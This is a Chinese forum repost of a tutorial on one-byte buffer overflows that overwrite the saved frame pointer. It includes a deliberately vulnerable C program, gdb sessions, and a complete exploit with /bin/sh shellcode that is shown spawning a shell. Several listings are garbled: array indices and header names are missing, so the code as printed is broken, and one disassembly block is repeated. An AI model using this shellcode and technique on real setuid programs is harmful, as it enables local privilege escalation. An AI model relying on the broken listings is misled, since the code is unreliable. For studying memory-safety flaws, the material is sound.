发新话题
打印

[转载]单字节缓冲区溢出

[转载]单字节缓冲区溢出

信息来源:中国暗域网络

通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容,来使程序跳转到我们的shellcode
处去执行。其实,即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
有些不可思议,其实还是很有可能的,下面我们就来看看这是如何实现的。

我们先写一个有弱点的程序,它只能被溢出一个字节。


ipdev:~/tests$ cat > suid.c
#include

func(char *sm)
{
       char buffer[256];
        int i;
        for(i=0;i<=256;i++)  //最多可以拷贝257个字节到一个256字节的缓冲区中
             buffer=sm;
}

main(int argc, char *argv[])
{
        if (argc < 2) {
             printf("missing args\n");
             exit(-1);
        }
        func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$

我们可以看到,我们只能拷贝257个字节到一个256字节的缓冲区中,也就是说,我们
只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢?还是
先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:


   ipdev:~/tests$ gdb ./suid
   ...
   (gdb) disassemble func
   Dump of assembler code for function func:
   0x8048134 :     pushl  %ebp
   0x8048135 :    movl  %esp,%ebp
   0x8048137 :    subl  $0x104,%esp
   0x804813d :    nop
   0x804813e :   movl  $0x0,0xfffffefc(%ebp)
   0x8048148 :   cmpl  $0x100,0xfffffefc(%ebp)
   0x8048152 :   jle   0x8048158
   0x8048154 :   jmp   0x804817c
   0x8048156 :   leal  (%esi),%esi
   0x8048158 :   leal  0xffffff00(%ebp),%edx
   0x804815e :   movl  %edx,%eax
   0x8048160 :   addl  0xfffffefc(%ebp),%eax
   0x8048166 :   movl  0x8(%ebp),%edx
   0x8048169 :   addl  0xfffffefc(%ebp),%edx
   0x804816f :   movb  (%edx),%cl
   0x8048171 :   movb  %cl,(%eax)
   0x8048173 :   incl  0xfffffefc(%ebp)
   0x8048179 :   jmp   0x8048148
   0x804817b :   nop
   0x804817c :   movl  %ebp,%esp
   0x804817e :   popl  %ebp
   0x804817f :   ret
   End of assembler dump.
   (gdb)
当call指令被调用时,进程会首先将%eip(下一条要执行的指令的地址)压入堆栈。
然后将%ebp的内容压入堆栈,就象在*0x8048134处所看到的。接着进程将当前堆栈
的地址拷贝到%ebp中,接着为局部变量分配空间:%esp减小0x104字节(256+4)。
buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前,我们的
堆栈中的情况如下:

       栈顶(低地址)
      
      |---------|  
   |   i   |      4字节
   |---------|\
   | buff[0] |  \
   |---------|  |
   | buff[1] |  |
   |---------|  |--> 256字节
      | ....... |  |
   |---------|  |
      |buff[255]|  /  
   |---------|/   
   |保存的ebp|      4字节  
   |---------|
   |保存的eip|      4字节
   |---------|
   
    栈底(高地址)
   
这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针(func()开始执行前被压入堆栈),
如何利用这个字节来改变程序的执行呢?我们先来看看%ebp中内容的变化情况。当func()
将要结束时,%ebp被从堆栈中恢复。(见)让我们再看看接下来发生了什么:
(还是利用gdb来反汇编main())

   (gdb) disassemble main
   Dump of assembler code for function main:
   0x8048180 : pushl  %ebp
   0x8048181 :    movl  %esp,%ebp
   0x8048183 :    cmpl  $0x1,0x8(%ebp)
   0x8048187 :    jg    0x80481a0
   0x8048189 :    pushl  $0x8058ad8
   0x804818e :   call  0x80481b8
   0x8048193 :   addl  $0x4,%esp
   0x8048196 :   pushl  $0xffffffff
   0x8048198 :   call  0x804d598
   0x804819d :   addl  $0x4,%esp
   0x80481a0 :   movl  0xc(%ebp),%eax
   0x80481a3 :   addl  $0x4,%eax
   0x80481a6 :   movl  (%eax),%edx
   0x80481a8 :   pushl  %edx
   0x80481a9 :   call  0x8048134
   0x80481ae :   addl  $0x4,%esp
   0x80481b1 :   movl  %ebp,%esp
   0x80481b3 :   popl  %ebp
   0x80481b4 :   ret
   0x80481b5 :   nop
   0x80481b6 :   nop
   0x80481b7 :   nop
   End of assembler dump.
   (gdb)


当func()调用结束后,%ebp将会被拷贝到%esp中(见),这意味着我们可以
改变%esp到其他的值,但并不是任意的,因为我们只能修改%ebp的最后一个字节。

   (gdb) disassemble main
   Dump of assembler code for function main:
   0x8048180 : pushl  %ebp
   0x8048181 :    movl  %esp,%ebp
   0x8048183 :    cmpl  $0x1,0x8(%ebp)
   0x8048187 :    jg    0x80481a0
   0x8048189 :    pushl  $0x8058ad8
   0x804818e :   call  0x80481b8
   0x8048193 :   addl  $0x4,%esp
   0x8048196 :   pushl  $0xffffffff
   0x8048198 :   call  0x804d598
   0x804819d :   addl  $0x4,%esp
   0x80481a0 :   movl  0xc(%ebp),%eax
   0x80481a3 :   addl  $0x4,%eax
   0x80481a6 :   movl  (%eax),%edx
   0x80481a8 :   pushl  %edx
   0x80481a9 :   call  0x8048134
   0x80481ae :   addl  $0x4,%esp
   0x80481b1 :   movl  %ebp,%esp
   0x80481b3 :   popl  %ebp
   0x80481b4 :   ret
   0x80481b5 :   nop
   0x80481b6 :   nop
   0x80481b7 :   nop
   End of assembler dump.
   (gdb) break *0x80481b4
   Breakpoint 2 at 0x80481b4
   (gdb) run `perl -e &#39;print "A"x257&#39;`
   Starting program: /home/klog/tests/suid `overflow 257`

   Breakpoint 2, 0x80481b4 in main ()
   (gdb) info register esp
   esp        0xbffffd45     0xbffffd45
   (gdb)

在溢出发生后,%ebp的最后一个字节被修改为0x41(&#39;A&#39;),然后%ebp的值(0xbffffd41)
被拷贝到%esp中作为新的堆栈指针(见),
main()会再从堆栈中弹出保存的ebp到%ebp中,这时%esp的值会再增加4个字节(栈顶
向高地址方向缩短4个字节)。这时我们看到的%esp的值就是:
0xbffffd45=0xbffffd41+0x41

很明显,我们不能在func()中直接改变原来被保存的%eip的值,但可以修改main()中的
%esp的值.当进程从一个过程返回的时候,只是弹出堆栈栈顶的第一个字(4字节),将
它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
弹出一个我们设定的值,然后进程就会跳到那里去执行我们的程序代码。
我们可以构造一个buffer用来完成我们的工作:

   [nops][shellcode][&shellcode][改变%ebp的字节]

这样当溢出发生时堆栈中的情况就是这样的:

       栈顶(低地址)
      
      |---------|  
   |   i   |      4字节
   |---------|\
   | 0x90   |  \
   |---------|  |
   | 0x90   |  |
   |---------|  |--> 256字节
      | ....... |  |
   |---------|  |
      |shellcode|  |
      | ....... |  |
   |---------|  |
   |跳转地址 |  /  
   |---------|/   
   |保存的ebp|      4字节(最低的一个字节被覆盖)
   |---------|
   |保存的eip|      4字节
   |---------|
   
    栈底(高地址)

我们想让%esp指向跳转地址,以便当从main()中返回时这个跳转地址会被弹入到%eip
中,从而去执行我们的shellcode代码。
现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
程序来构造一下真实攻击时的场景。

   ipdev:~/tests$ cat > fake_exp.c
   #include
   #include

   main()
   {
        int i;
        char buffer[1024];
   
        bzero(&buffer, 1024);
        for (i=0;i<=256;i++)   
        {
              buffer = &#39;A&#39;;
        }
        execl("./suid", "suid", buffer, NULL);
   }
   ^D
   ipdev:~/tests$ gcc fake_exp.c -o fake_exp
   ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
   ...
   (gdb) run
   Starting program: /home/klog/tests/exp2

   Program received signal SIGTRAP, Trace/breakpoint trap.
   0x8048090 in ___crt_dummy__ ()
   (gdb) disassemble func
   Dump of assembler code for function func:
   0x8048134 :     pushl  %ebp
   0x8048135 :    movl  %esp,%ebp
   0x8048137 :    subl  $0x104,%esp
   0x804813d :    nop
   0x804813e :   movl  $0x0,0xfffffefc(%ebp)
   0x8048148 :   cmpl  $0x100,0xfffffefc(%ebp)
   0x8048152 :   jle   0x8048158
   0x8048154 :   jmp   0x804817c
   0x8048156 :   leal  (%esi),%esi
   0x8048158 :   leal  0xffffff00(%ebp),%edx
   0x804815e :   movl  %edx,%eax
   0x8048160 :   addl  0xfffffefc(%ebp),%eax
   0x8048166 :   movl  0x8(%ebp),%edx
   0x8048169 :   addl  0xfffffefc(%ebp),%edx
   0x804816f :   movb  (%edx),%cl
   0x8048171 :   movb  %cl,(%eax)
   0x8048173 :   incl  0xfffffefc(%ebp)
   0x8048179 :   jmp   0x8048148
   0x804817b :   nop
   0x804817c :   movl  %ebp,%esp
   0x804817e :   popl  %ebp
   0x804817f :   ret
   End of assembler dump.
   (gdb) break *0x804813d
   Breakpoint 1 at 0x804813d
   (gdb) c
   Continuing.

   Breakpoint 1, 0x804813d in func ()
   (gdb) info register esp
   esp        0xbffffc60     0xbffffc60
   (gdb)

从上面的分析,我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的,指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100(buffer大
小)-0x04(跳转地址大小)=0xbffffd60处。

有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时,%esp会增加4个字节(
因为弹出了保存的%ebp)。
跳转地址的值并不需要是shellcode的起始地址,只要是NOP指令之间的某个地址即可。
(就象通常的溢出程序一样)即:0xbffffc64---(0xbffffd64-shellcode大小)。
我们这里选用0xbffffc74.

   ipdev:~/tests$ cat > exp.c
   #include
   #include

   char sc_linux[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
        "\xd7\xff\xff\xff/bin/sh";

   main()
   {
        int i, j;
        char buffer[1024];

        bzero(&buffer, 1024);
        for (i=0;i<=(252-sizeof(sc_linux));i++)
        {
              buffer = 0x90;
        }
        for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        {
              buffer = sc_linux[j];
        }
        buffer[i++] = 0x74; //
          buffer[i++] = 0xfc; //  跳转地址
        buffer[i++] = 0xff; //
        buffer[i++] = 0xbf; //
        buffer[i++] = 0x5c; // 用来覆盖%ebp的字节

        execl("./suid", "suid", buffer, NULL);

   }
   ^D
   ipdev:~/tests$ gcc exp.c -o exp
   ipdev:~/tests$ ./exp
   bash$

成功了!现在让我们仔细的看一下到底发生了些什么。


   ipdev:~/tests$ gdb --exec=exp --symbols=suid
   ...
   (gdb) run
   Starting program: /home/klog/tests/exp

   Program received signal SIGTRAP, Trace/breakpoint trap.
   0x8048090 in ___crt_dummy__ ()
   (gdb)

我们先来设置几个断点来观察被覆盖的栈帧指针的值。

   (gdb) disassemble func
   Dump of assembler code for function func:
   0x8048134 :     pushl  %ebp
   0x8048135 :    movl  %esp,%ebp
   0x8048137 :    subl  $0x104,%esp
   0x804813d :    nop
   0x804813e :   movl  $0x0,0xfffffefc(%ebp)
   0x8048148 :   cmpl  $0x100,0xfffffefc(%ebp)
   0x8048152 :   jle   0x8048158
   0x8048154 :   jmp   0x804817c
   0x8048156 :   leal  (%esi),%esi   
   0x8048158 :   leal  0xffffff00(%ebp),%edx
   0x804815e :   movl  %edx,%eax
   0x8048160 :   addl  0xfffffefc(%ebp),%eax
   0x8048166 :   movl  0x8(%ebp),%edx
   0x8048169 :   addl  0xfffffefc(%ebp),%edx
   0x804816f :   movb  (%edx),%cl
   0x8048171 :   movb  %cl,(%eax)
   0x8048173 :   incl  0xfffffefc(%ebp)
   0x8048179 :   jmp   0x8048148
   0x804817b :   nop
   0x804817c :   movl  %ebp,%esp
   0x804817e :   popl  %ebp
   0x804817f :   ret
   End of assembler dump.
   (gdb) break *0x804817e
   Breakpoint 1 at 0x804817e
   (gdb) break *0x804817f
   Breakpoint 2 at 0x804817f
   (gdb)

上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。

   (gdb) disassemble main
   Dump of assembler code for function main:
   0x8048180 :  pushl  %ebp
   0x8048181 :    movl  %esp,%ebp
   0x8048183 :    cmpl  $0x1,0x8(%ebp)
   0x8048187 :    jg    0x80481a0
   0x8048189 :    pushl  $0x8058ad8
   0x804818e :   call  0x80481b8 <_IO_printf>
   0x8048193 :   addl  $0x4,%esp
   0x8048196 :   pushl  $0xffffffff
   0x8048198 :   call  0x804d598
   0x804819d :   addl  $0x4,%esp
   0x80481a0 :   movl  0xc(%ebp),%eax
   0x80481a3 :   addl  $0x4,%eax
   0x80481a6 :   movl  (%eax),%edx
   0x80481a8 :   pushl  %edx
   0x80481a9 :   call  0x8048134
   0x80481ae :   addl  $0x4,%esp
   0x80481b1 :   movl  %ebp,%esp
   0x80481b3 :   popl  %ebp
   0x80481b4 :   ret
   0x80481b5 :   nop
   0x80481b6 :   nop
   0x80481b7 :   nop
   End of assembler dump.
   (gdb) break *0x80481b3
   Breakpoint 3 at 0x80481b3
   (gdb) break *0x80481b4
   Breakpoint 4 at 0x80481b4
   (gdb)

上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
现在让我们来运行程序:

   (gdb) c
   Continuing.

   Breakpoint 1, 0x804817e in func ()
   (gdb) info reg ebp
   ebp        0xbffffd64     0xbffffd64

这是%ebp的原来的内容
   
   (gdb) c
   Continuing.

   Breakpoint 2, 0x804817f in func ()
   (gdb) info reg ebp
   ebp        0xbffffd5c     0xbffffd5c

溢出后,我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)
   
   (gdb) c
   Continuing.

   Breakpoint 3, 0x80481b3 in main ()
   (gdb) info reg esp
   esp        0xbffffd5c     0xbffffd5c
   (gdb) c
   Continuing.

此时%esp指向0xbffffd5c

   Breakpoint 4, 0x80481b4 in main ()
   (gdb) info reg esp
   esp        0xbffffd60     0xbffffd60

弹出保存的%ebp后,%esp增加了4个字节,指向我们存放跳转地址的位置
   
   (gdb)

看一下此时堆栈中的情况:

   (gdb) x 0xbffffd60
   0xbffffd60 <__collate_table+3086619092>:      0xbffffc74
   
这里确实存放着我们的跳转地址   

   (gdb) x/10 0xbffffc74
   0xbffffc74 <__collate_table+3086618856>:      0x90909090   
   0x90909090   0x90909090     0x90909090
   0xbffffc84 <__collate_table+3086618872>:      0x90909090   
   0x90909090   0x90909090     0x90909090
   0xbffffc94 <__collate_table+3086618888>:      0x90909090   
   0x90909090
   (gdb)
   
跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。


   (gdb) c
   Continuing.

   Program received signal SIGTRAP, Trace/breakpoint trap.
   0x40000990 in ?? ()
   (gdb) c
   Continuing.
   bash$
   
下面的简图大致描述了%ebp与%esp的变化。
   
    func()中,返回前      main()中          main()中          main()中

       栈顶(低地址)     addl $0x4,%esp      movl %ebp,%esp      popl %ebp
      
0xbffffc60|----------|      |----------|       |----------|       |----------|
     |   i    |      |   i    |       |   i    |       |   i    |
0xbffffc64|----------|      |----------|       |----------|       |----------|
     | 0x90    |      | 0x90    |       | 0x90    |       | 0x90    |
       |----------|      |----------|       |----------|       |----------|
     | 0x90    |      | 0x90    |       | 0x90    |       | 0x90    |
     |----------|      |----------|       |----------|       |----------|
  ----->  | .......  |      | .......  |       | .......  |       | .......  |
|      |----------|      |----------|       |----------|       |----------|
|      |shellcode |      |shellcode |       |shellcode |       |shellcode |
|      | .......  |      | .......  |  %esp--->| .......  |0xbffffd5c|......... |
0xbffffd60|----------|      |----------|       |----------|  %esp-->|----------|
|-----  |0xbffffc74|      |0xbffffc74|       |0xbffffc74|       |0xbffffc74| -->%eip
0xbffffd64|----------|      |----------|       |----------|       |----------|
保存的ebp |0xbffffd5c|      |0xbffffd5c|       |0xbffffd5c|       |0xbffffd5c|
  %esp--->|----------|      |----------|       |----------|       |----------|
     |保存的eip |      |保存的eip |       |保存的eip |       |保存的eip |
     |----------|  %esp-->|----------|       |----------|       |----------|
            
     %esp=0xbffffd68    %esp=0xbffffd6c      %esp=0xbffffd5c    %esp=0xbffffd60  
     %ebp=0xbffffd5c    %ebp=0xbffffd5c      %ebp=0xbffffd5c    %ebp=0xxxxxxxxx
            
结束语:        
            
这种方法看起来很不错,它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
是可行的,但也需要一些条件。首先,它需要知道buffer的地址,这要求我们要能构
造相同的攻击环境以便得到这些值,这通常是比较困难的,特别是在远程机器上。由
于只能溢出一个字节,我们的buffer必须紧挨着栈帧指针,也就是说,要溢出的buffer
必须是函数中第一个被宣称的变量。对于大endian结构的系统,%ebp在内存中的顺序是
高字节在前低字节在后,所以将会覆盖掉ebp的高字节,我们不得不保证我们的程序可以
跳到那个地址去执行...
            
尽管如此,这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
也可能导致严重的安全问题.:-)


参考文献:
[1] <>55-08 [  The Frame Pointer Overwrite  ] by klog
[2] <>49   [  Smashing The Stack For Fun And Profit ] by Aleph1
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题